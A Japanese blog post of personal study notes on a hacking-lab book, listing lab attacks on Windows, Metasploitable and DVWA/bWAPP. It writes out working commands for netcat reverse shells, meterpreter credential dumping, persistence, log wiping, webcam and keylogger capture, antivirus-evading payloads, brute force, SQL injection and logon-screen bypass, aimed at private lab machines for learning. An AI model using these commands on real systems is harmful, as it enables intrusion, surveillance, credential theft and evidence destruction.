仮想私事の原理式

この世はワタクシゴトのからみ合い

【勉強メモ】「ハッキング・ラボのつくりかた」

ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習

ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習

  • 作者:IPUSIRON
  • 出版社/メーカー: 翔泳社
  • 発売日: 2018/12/07
  • メディア: 単行本(ソフトカバー)
 

発売当初に気になってパラパラと立ち読みしたところ、だいたい知ってる内容だな(厚いし高いし)と買わなかったが、その半年後くらいにKindleセールで半額になっていたので購入(固定レイアウトではなくリフローなのが素晴らしい)。しかし、さらに半年くらい寝かせていた。

ネット上でセキュリティ勉強してる人がまずはこの本を制覇してるのを見て、自分もやらなにゃならんと発売11か月後にして読んでみたところ、思った通り知っていることは多かったが、知らないことも4割くらい含まれていた。そして「手を動かして体験する」のは得るものが多い。

ただ、手順は丁寧に載せてくれているが、説明はそれなりに知識がある人向けだと思う。IPA応用情報技術者とかくらいは最低持ってないと厳しい気がする。そこまで説明しだしたらページが2~3倍になってしまうから仕方ないけど。とりあえず自分には読みやすかった。

 

【勉強メモ】

本書の中で、知らなかったところ、勉強になったところのメモ。既に自分が十分に知っていると感じたところは省略しているので、網羅はされていません。あしからず。

第1部 ハッキング・ラボ の 構築(第1章~第3章)

~ラボ環境構築のためのネットワーク、仮想環境、OS(Kali Linuxとか)についての説明・設定。ちなみに本ではVirtualBoxだけど、自分はVMware ESXi環境で実施。この辺は飛ばしちゃったけど、初の人は環境構築が一番大変なところだと思うので、そこに全体の4分の1を費やしているのは結構手厚いなと思う。Gitの説明があったけど、結局本書内では使うことなかった。

第2部 ハッキングを体験する

第4章 Windowsのハッキング

Windowsのライセンス管理コマンド(スクリプト

C:\ > slmgr /dlv

現在のライセンス情報確認

C:\ > slmgr /rearm

ライセンスの猶予期間のリセット(5回まで)

 ■ Netcat
 > nc.exe -lvp 5555 -e cmd.exe

"-e" オプションで、受信データ(テキスト)を渡すプログラムを指定。この場合はcmd.exeに渡している

neccatを使ったリバースシェル

[ターゲット側] > nc.exe (攻撃側IP) 5555 -e cmd.exe
[
攻撃側] # nc -lvp 5555

Win7をターゲットとして、ターゲット側から攻撃側へアクセスし、ターゲットは攻撃側から受け取ったコマンドを-eオプションでcmd.exeに渡す。これでリバースシェルが成立する。

■ Metasploit

msf > show exploits

showコマンドで"exploits"や"encoders"などを指定可能。そのリストを表示。

exploit一覧ではランクが3列目に表示される。excellentが最も好ましい。

msf > search type:payload reverse_tcp platform:windows

searchで目的のモジュールのパスが検索可能

msf > use exploit/multi/handler

msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(multi/handler) > exploit (又はrun)

msf exploit(multi/handler) > sessions -l

msf exploit(multi/handler) > sessions -i 1

ペイロードからリバース接続を待ち受けるため、Metasploitで待ち受ける。左記コマンドの他、LHSOT、LPORT,Exitfunc等の設定が(必要なら)可能。設定後は"exploit"又は"run"で実行。ペイロードから接続が来たら、"sessions -l"コマンドで接続を一覧表示し、"sessions -i 番号"で接続。以後はmeterpreter経由でターゲット(ここではWin7)の遠隔操作。

UACバイパス Windowsのパスワード解析 情報収取 永続化 ログ削除

Windowsのパスワード解析の手法としては

  1. パスワードハッシュを入手し、パスワード解析(最も基本的アプローチ)。SAM(ローカル)かntds.dit(AD)
  2. lsass.exe(アカウント管理。Local Security Authority process)のメモリ上から平のパスワードを入手
  3. パスワードハッシュを入手し、ネットワークログオン(SMB教諭経由での認証) = Pass the Hash

 

meterpreter > getuid

ユーザID(ユーザ名)の取得

meterpreter > run hashdump

パスワードハッシュの奪取(権限足りないと失敗)

meterpreter > getsystem

SYSTEM権限への昇格。しかし権限がなければ失敗する。

meterpreter > background

meterpreterをバックグラウンドに回し、msfプロンプトへ戻る

meterpreter > shell

meterpreterからシステムシェル(cmd.exe)への切替

msf > use exploit/windows/local/bypassuac
meterpreter > getsystem -t 1

UAC機能をバイパスするためのモジュール。

# john --wordlist=password.lst --format:nt hash.txt

John the Ripperでパスワード解析

meterpreter > run scraper

システム情報の収集(レジストリ、パスワードハッシュ等)
結果は
"~/.msf4/logs/scripts/scraper/IP_日付.数値列/

> wmic startup

WMI経由で自動起動の内容を列挙

meterpreter > run persistence \

-X -i (リトライ間隔秒) -P (ペイロード) \

-p (ポート) -r (接続先IP)

永続化。-X はシステム起動時に接続用エージェントを起動(レジストリのautorun に登録)

meterpreter > clearev

Windowイベントログ(application, security, system)を削除。ただし「ログを消した」というSecurityログは1件残る

C:\ > del %WINDIR%\*.log /a /s /q /f

cmd.exe上でシステムフォルダ下の拡張子logファイルを全削除。
/a:属性指定 /s:サブフォルダ含む /q:メッセージ無し
/f: 読取専も強制削除

meterpreter > migrate PID

meterpreterを指定したプロセスIDのプロセスに統合(migrate)して隠す。migrate先のプロセスは自身の権限以下(本書では explorer.exe )。ただし、migrateされたセッションをUAC回避(exploit/windows/local/bypassuac)で指定するすると応答が返ってこずに失敗する。先にUAC回避してgetsystemでSYSTEM権限を奪った後にmigrateすればOK。

msf > use \

exploit/windows/local/ask

UAC画面を表示させモニター前の使用者に実行を許可させる。使用者がYESを押せばgetsystemで昇格可。Win10には効かない。

C:\> net user

C:\> net user Administrator

C:\> net user test /add

C:\> net user test 1234

C:\> net localgroup administrators \

test /add

C:\> net user test  /delete

上から順に、ユーザー列挙、Administratorの詳細表示、testユーザの追加、testユーザのパスワードを1234に変更、testユーザを管理者グループに属させて官舎権限を与える、ユーザの削除。SYSTEM権限が前提。

 ■ アプリのアンインストール

msf > use post/windows/gather/ \

enum_applications

アプリ列挙モジュール

C:\ > wmic product get name, installLocation

インストール済みアプリの列挙(installLocationでパスも表示)。表示されないものもある。

C:\ > wmic product where \

name="<アプリ名>" call uninstall /nointeractive

アプリのアンインストール。サイレントモードで処理。

仮想マシンか否か調べる
 msf > use post/windows/gather/\

checkvm

ターゲットが仮想マシンか否かを判定するモジュール

 C:\ >  systeminfo

systeminfoコマンドの結果から、System Manufacture や System Model から仮想マシンと判明することがある。

■ スティッキービット(Sticky bit)

Linuxにおいてディレクトリの書込み権限を持っている場合、ディレクトリ内にあるファイルは、所有者でない、読取・書込権限のないファイルでも削除できてしまう。ディレクトリにスティッキービットを設定すると、所有者以外はファイル・サブディレクトリを削除できなくなる。デフォルトでは /tmp にスティッキービットが設定されている。

# chmod +t ディレクト


■ Windows10 ハッキング
meterpreter > screenshot

字のごとく、スクリーンショット

#apt install cheese
meterpreter > webcam_list
meterpreter > webcam_stream
meterpreter > webcam_snap

cheeseはGNOMEWebカメラアプリ。webcam_listでターゲットのwebカメラ一覧を取得し、webcam_streamで映像を取得。webcam_snapで撮影し画像を保存

meterpreter > upload laZange_x64.exe
meterpreter > shell
> laZagne_x64.exe  all

LaZagneは対Windowsパスワード収集ツール。meterpreter経由で送り込み、Win10上で動かす。

msf > use post/windows/gather/forensics/\

browwer_history

ブラウザ履歴取得モジュール。

# apt install veil-evasion
# veil

Veil >: update

Veil >: use 1 (※Evasion)
Veil/Evasion>: list

Veil/Evasion>: use 22 (※powershell/meterpreter/rev_tcp.py)
[powershell/meterpreter/rev_tcp>>]:

set LHOST 10.0.0.2
[powershell/meterpreter/rev_tcp>>]:

generate

Veil Frameworkはアンチウイルス回避ペイロードを作成するツール群。meterpreterペイロードの他、種々のペイロードも作れる(はず)。リバースシェルの接続は、msfconsole → exploit/multi/handler で待ち受けれられる。ペイロード設定は windows/meterpreter/reverse_tcp

# shellter
以下、対話形式。事前に用意したexeファイルにmeterpreterをbindする。
 

Shellterでペイロードと別ファイルを統合(bind)する。統合されたファイルを開くたびに、ペイロードも一緒に起動される。Shellterはbinderの一つで、ペイロードとしてmeterpreter、shell等を持っている。ただし、本書ではセッション確立時にWindows Defendeがmeterpreterを検知する。

# msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -e x86/shikata_ga_nai -i 3 -b '\x00\xff'

shika_ga_naiエンコーダで暗号化(難読化?)したペイロード。\00と\ffのバイト列が入るのを避けている。本書ではこのペイロードと画像ファイルをWinRARを使ってbindし、Windows Defenderに検知されずにセッションを確立している。shikata_ga_naiだから仕方がない。

git clone で MacroShop を取得

# cd MacroShop/
# ./macro_safe.py <input.bat> <output.txt>

MacroShopはMS Officeのマクロにペイロードをbindするツール(python)。Veilで作成したPowershellペイロード(バッチファイル型)からマクロスクリプトを生成できる(Officeファイルそのものを作ってくれるわけではない)。

meterpreter > keyscan_start
meterpreter > keyscan_dump

meterpreter > keyscan_stop

meterpreterの簡易キーロガー

msf > use \ post/windows/capture/\
keylog_recorder

キーロガーモジュール。確立済みのセッションがあることが前提。キーログファイルはホームディレクトリ下の .msf4/loot/内に保存される。

 

第5章 Metasploitableのハッキング

基本的な流れは以下のとおり。

  • ポートスキャンでサービスとバージョンを調査

  • バージョンから脆弱性やPoCを調査(Exploit-DB、CVE等)

  • 攻撃する

ただ、単一サービスのみに攻撃するより、様々なところから情報を集めて(ユーザ名とかデータベース名とか…)活用するのが吉。

# hydra -L user.lst -P pass.lst \
-t 8 10.0.0.5 ftp
# hydra -L user.lst -P pass.lst \
-t 4 ssh://10.0.0.5:22

hydraによるアカウントの辞書式攻撃。-t は並列処理のタスク数(スレッド数?)。SSHのバージョンによっては対応していない場合あり。
# patator ssh_login host=10.0.0.5 \
user=FILE0 password FILE1 \
0=user.lst 1=pass.lst \
( -x ignore:mesg='Authentication failed')

patatorもパスワードクラッカー。解析する認証ごとにモジュールが用意されている。ここでは ssh_login モジュールを使用。
パラメータにファイルを指定する場合は、「host=FILEn n=host.lst」のように指定。-x以降に<アクション>:<条件式>を追加すると、patatorの動作を指定可能(例示ではfailedメッセージを無視)

# cat /etc/shadow | grep -E "^root|^msfadmin"\

> passwords
# john --incremental passwords

/etc/shadowの中から暗号化されたパスワードを含む行を抽出し、"John the Ripper"でブルートフォース。スペースキーで途中経過を確認、Ctl+Cで中断、"John --restore"でレジューム(再開)。

# hydra -L user.lst -P pass.lst -s 8180 \

10.0.0.5 http-post-form \ "/admin/j_security_check:\

j_username=^USER^&j_password=^
PASS^:Invalid username or password"

HydraによるHTTPフォームへのパスワード解析。
「http-post-form ”<認証ページのパス>:<送信パラメータ>:<認証失敗時に表示される文字列>"」。ユーザ名入力箇所を「^USER^」、パスワード入力箇所を「^PASS^」で指定

# msfconsole

msf > grep exploit search tomcat
msf > use exploit/multi/http/tomcat_mgr_upload

(以下略)

hydra で 判明したtomcatのユーザ名/パスワードがあれば、Metasploitの

"exploit/multi/http/tomcat_mgr_upload"

を用いてシェルを奪取可能。

どうでもいいが、grepとsearchの使い方が独特だな…

# smbclient -L //10.0.0.5

# msfconsle

msf > use auxiliary/admin/smb/\

samba_symlink_traversal

 

-Lオプションで共有名を列挙できるらしいが、「protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED」とエラーが出る。RAPID7の手法と同じ

https://metasploit.help.rapid7.com/docs/

metasploitable-2-exploitability-guide

# hexchat

⇒ GUI上でMetasploitable2を登録して接続

⇒「次に何をするか?」で「Nothing, I'll join channel latar.」

⇒ 接続ログの中で「Version Unreal3.2.8.1」とバージョン判明

⇒ ExploitDBやsearchsploitで検索すると「Backdoor Command Execution」がMetasploitにあることが判明

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor

msf > use post/multi/manage/shell_to_meterpreter

6667,6669/tcpのUnrealIRCdへ、IRC(Internet Relay Chat)クライアントであるhexchatでアクセスしバージョン調査。
バックドア脆弱性があるのでexploit/unix/irc/unreal_ircd_3281_backdoor

でシェルを取得。さらに

post/multi/manage/shell_to_meterpreter

でシェルをmeterpreterに切替。

[TerminalA]# nc -l -v -p 4444
[TerminalB]# nc 10.0.0.5 6667

AB;  nc 10.0.0.2 4444  -e /bin/bash

上記の脆弱性は「AB;」以降のコマンドが

metasploitable内で実行されるというもの。

 


第6章の内容はだいたい知っていた&無線LAN環境が用意できなかったので跳ばした。  

第7章 学習用アプリによるWebアプリのハッキング(DVWA、bWAPP bee-box)

1' OR 'a'='a
' union select version(),null #
' union select @@hostname,database() #
' union select user(),'A' #
' union select table_name,null from information_schema.tables #

' union select table_name,tale_schema from information_schema.tables where table_schema='dvwa' #
' union select table_name,column_name from information_schema.column where table_schema='dvwa' and table_name='users' #
' union select user,password from dvwa.users #

SQLインジェクションのコード例。unioin を使うことで自身の知りたい情報を追加で表示させられる。ただし、unionは表を縦に繋げるイメージなので、先の結果と列数を合わせる必要がある。例ではおそらくユーザ名とパスワードの2項目が対象となっているので、unionで表示させる内容も2項目にしている。information_schemaMySQLサーバが持つ全データベースの情報(メタデータ)のデータベース。

# findmyhash MD5 -h (ハッシュ値)
# findmyhash MD5 -f (ハッシュ値を記載したファイル)

Web上のハッシュ解析サービスを自動的に巡回して、パスワードハッシュを調査するツール。

# sqlmap -u "URL" --cookie="Cookie"
# sqlmap -u "
URL" --cookie="Cookie--dbs
# sqlmap -u "
URL" --cookie="Cookie-D DB --tables
# sqlmap -u "
URL" --cookie="Cookie-D DB -T テーブル名 --column
# sqlmap -u "
URL" --cookie="Cookie-D DB -T テーブル名 -C カラム1,カラム2 --dump

ブラインドSQLインジェクションBurpでHTTP要求に含まれるCookieを事前に入手し、それをsqlmapに設定して実行すると、SQLに関する脆弱性を探索してくれる。--dbsオプションでDB名列挙、--tablesオプションでテーブル名列挙、--columnオプションでカラム列挙、--dumpオプションで指定したカラムを抽出できる。パスワードハッシュがある場合は、パスワード解析もしてくれる。

以下は、bee-boxで演習可能

PHP Code Injection

フォームやURL中の文字列をPHPコードの一部として取り込んでいる部分に、意図的にPHP関数を埋め込んで情報を取る。
system関数を使って「system('cat /etc/passwd');」を埋め込む等。

■ Server Side Include(SSI) Injection

SSIはサーバ側で動的にHTMLを生成する仕組み(Javascriptはクライアントサイド)。HTML内に <!--#exec cmd="/bin/ls" -->
  のように <!--  --> で囲われたコメントを挿入すると、サーバがコメントの場所にコマンドの実行結果を置き換えてくれる。

SSIが有効になっているWebサーバに対して、CGIの入力フォーム等から<!-- #〇〇 -->の記述を送り込んで、求める情報を表示させる。

■ Remote & Local File Inclusion(RFI/LFI)

Webアプリの入力検証の不備を突いて不正ファイルを読み込ませる攻撃。LFIはターゲットサーバ上のファイルを用い、RFIは攻撃者側で 用意した遠隔に位置するファイルを用いる。本書では実行にmetasploitを使用。

■ Shellshock

「CVE-2014-6271」および「CVE-2014-7169」。bash環境変数経由で特定パターンを送ることで任意のコマンドを実行できてしまう。 HTTPサーバはbashシェル内のCGIプログラムに、HTTPヘッダーを環境変数として渡すので影響大。

第8章 ログオン認証のハッキング

■ Sticky Keys機能(の呼び出し)を悪用したログオン画面の突破

Sticky Keys機能は、補助キーの同時押しが難しい人向けの補助機能で、有効にすると同時押しではなく順次押しできるようにる。 WindowsでShiftキーを5回連続押下すると「固定キー機能を有効にしますか?」と聞いてくるアレ。WindowsはShiftキー5回で、 「C:\Windows\System32\sethc.exe」 を呼び出すように設定されているので、sethc.exeを同名の別プログラムに置き換えれば、 shiftキー5回で任意のプログラムを呼び出せる。本書では、Windows10のブートメディアから「cmd.exe」をリネームして置き換え、 ログオン画面でshiftキー5回押しでコマンドプロンプトを起動させる。ブートメディアの「cmd.exe」にはSYSTEM権限付与されてる。 net userコマンドでパスワード上書き、net localgroup で対象ユーザに管理者権限付与が可能。 Sticky keys機能の悪用というよりは、「Sticky Keys機能の呼び出し」の悪用という方が正しいか?

■ Image File Exsecutino Option機能の悪用

もともとはアプリやサービスのデバッグ時に使用するための機能。あるプログラムの実行時に他のプログラムを実行することができる。

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

配下にターゲットプログラム名(例: sethc.exe)でキーを作成

⇒ 任意の登録名で置き換えたいプログラム(例:cmd.exe)を登録
⇒ Shiftキー5回でsethc.exeが呼び出されるときに、cmd.exeも起動する。

 

第3部 ハッキング・ラボの拡張

第9章 物理 デバイスの追加

ラズパイ用のKaliがあるとは知らなかった。入れてみようとしたけど、のRPi 1にはさすがに入らなかった…。viの設定が細かく載ってたのはありがたい。

(vi起動中):set nocomatible

($HOME/.vimrc)set nocompatible

viの互換モード解除。これにより、方向キーでのカーソル移動、モード表示が有効になる。

($HOME/.vimrc)

noremap! <C-?><C-h>

set backspace=indent,eol,start

noremap! ⇒ コマンドラインモードと挿入モードでのキーバインド
<C-?><C-h> ⇒ DelキーをCtrl+hに対応付け。
set backspaceでBackSpaceキーで削除できるものを指定。
indent ⇒ 行頭、 eol ⇒ 改行、 start ⇒ 挿入モード開始位置より手前の文字を意味する。

 

10、11章はだいたい知っている内容だったので割愛。
巻末のコマンドリファレンスにあるコマンドを全部把握できるようになりたい。とりあえず気になったコマンドをメモ。

Linux

# df -ah

全ディスクスペース表示。-h:読みやすくする。-a:サイズ0でも表示

# cat /proc/cpuinfo

CPUの仕様を表示

# cat /proc/meminfo

# free -h

現在のメモリーの使用状況を表示

# modinfo <カーネルモジュール名>

指定したモジュールの情報を表示

# objdump -d <ファイル名>

# objdump -d -M intel -S <ファイル名>

実行ファイルを逆アセンブルする。-M intelIntel記法。-S:デバッグ情報が含まれていればソースも混在させる

# nm -o /usr/lib/* | grep <関数名>

指定した関数を含んだライブラリを探す。

# blkid /dev/sda1

/dev/sda1の情報を表示する

# xxd -p -r hexdump.txt > test.bin

16進ダンプファイルをバイナリに変換する。

# enum4linux -v xxx.xxx.xxx.xxx

ターゲットの詳細情報表示

# binwalk -Me <ファイル名>

fileコマンドで特的出来ないもの、細工されたファイルの解析
-e:ファイル抽出
-M:圧縮ファイルがあれば再帰的に展開して探索

# fls <イメージファイル名>

ファイルシステムを解析する。

# icat <イメージファイル名> <iノード> output
# file output

イメージファイルからファイルを抽出する。

# echo "平文文字列" | base64
# echo "base64エンコード文字列" | base64 -d

base64による文字列のエンコードとデコード。
xxdやhexdumpと組み合わせればイメージファイルもbase64いける?

# echo "こんにちは" | nkf -WwMQ | tr = %

文字列をURLエンコード

# echo "%E 3% 81% 93% E 3% 82% 93% E 3% 81% AB% E 3% 81% A 1% E 3% 81% AF" | nkf -w --url-input

URLエンコードされた文字列をデコード。
-w:文字コードUTF-8を指定

 

Windows(cmd.exe)
> msinfo32 システム情報画面(GUI)を表示する。
> driverquery /v
> driverquery /si
/v :インストール済みドライバーの一覧表示。
/si :ドライバーがデジタル署名済みかどうか確認

> wmic qfe list /format:htable > list.html

インストール済み更新プログラムの一覧をHTMLファイルに出力。
systeminfoでも確認できるが、煩雑になりやすい

> wmic ntevent where "(logfile='system' and timegenerated >= '20180620'" list /format:CSV > system_event.csv

2018/6/20(GMT)以降のシステムイベントのログをCSVファイルに出力する。where句で表示内容を絞り込む。

> reg export <キー名> <ファイル名>
> reg import <ファイル名>

exportでレジストリ設定をファイルにエクスポート。
レジストリ設定をファイルからインポートする。

> netsh advfirewall show currentprofile
> netsh firewall show config

ファイアウォールの状態確認(win10 では"netsh firewall"でなく"netsh advfirewall firewall"を使うように言われる)

> netsh firewall show portopening

ポート構成を表示する

> certutil -hashfile <ファイル名> MD5

MD5ハッシュ値を表示

> at \\xxx.xxx.xxx.xxx 12:00A /every:1 "nc -d -L -p8080 -e cmd.exe"

(参考)
> schtasks /create /sc daily /st 00:00 /tn "タスク名" /tr "nc -d -L -p800 -e cmd.exe"

毎日夜12時にNetcatの簡易バックドアを起動する。
-d:ステルスモード、 -L:セッション切断後も継続LISTEN
ただし、Win10ではatコマンドは廃止され、schtasksを使うよう言われる。 

> psexec \\target ipfonfig

SMB経由でターゲット端末でipconfigを実行する

WindowsPowershell)

PS> Get-Ciminstance Win32_OperatingSystem | select-object -property *

システム情報の詳細を表示する。出力が高速。

PS> Get-Process

プロセス情報表示

PS> Get-Service -Requiredservices -DependentService

サービスを表示

PS> Get-FileHash -algorithm md5 <ファイル名>

MD5ハッシュ値を表示

PS> Write-Output "Hello World"

標準出力へ文字列出力

Metasploitable2の残りや3も制覇しておきたい。
周囲で進んでいる人に言わせると「簡単すぎる」らしいだけど・・・やってみてから判断しよう。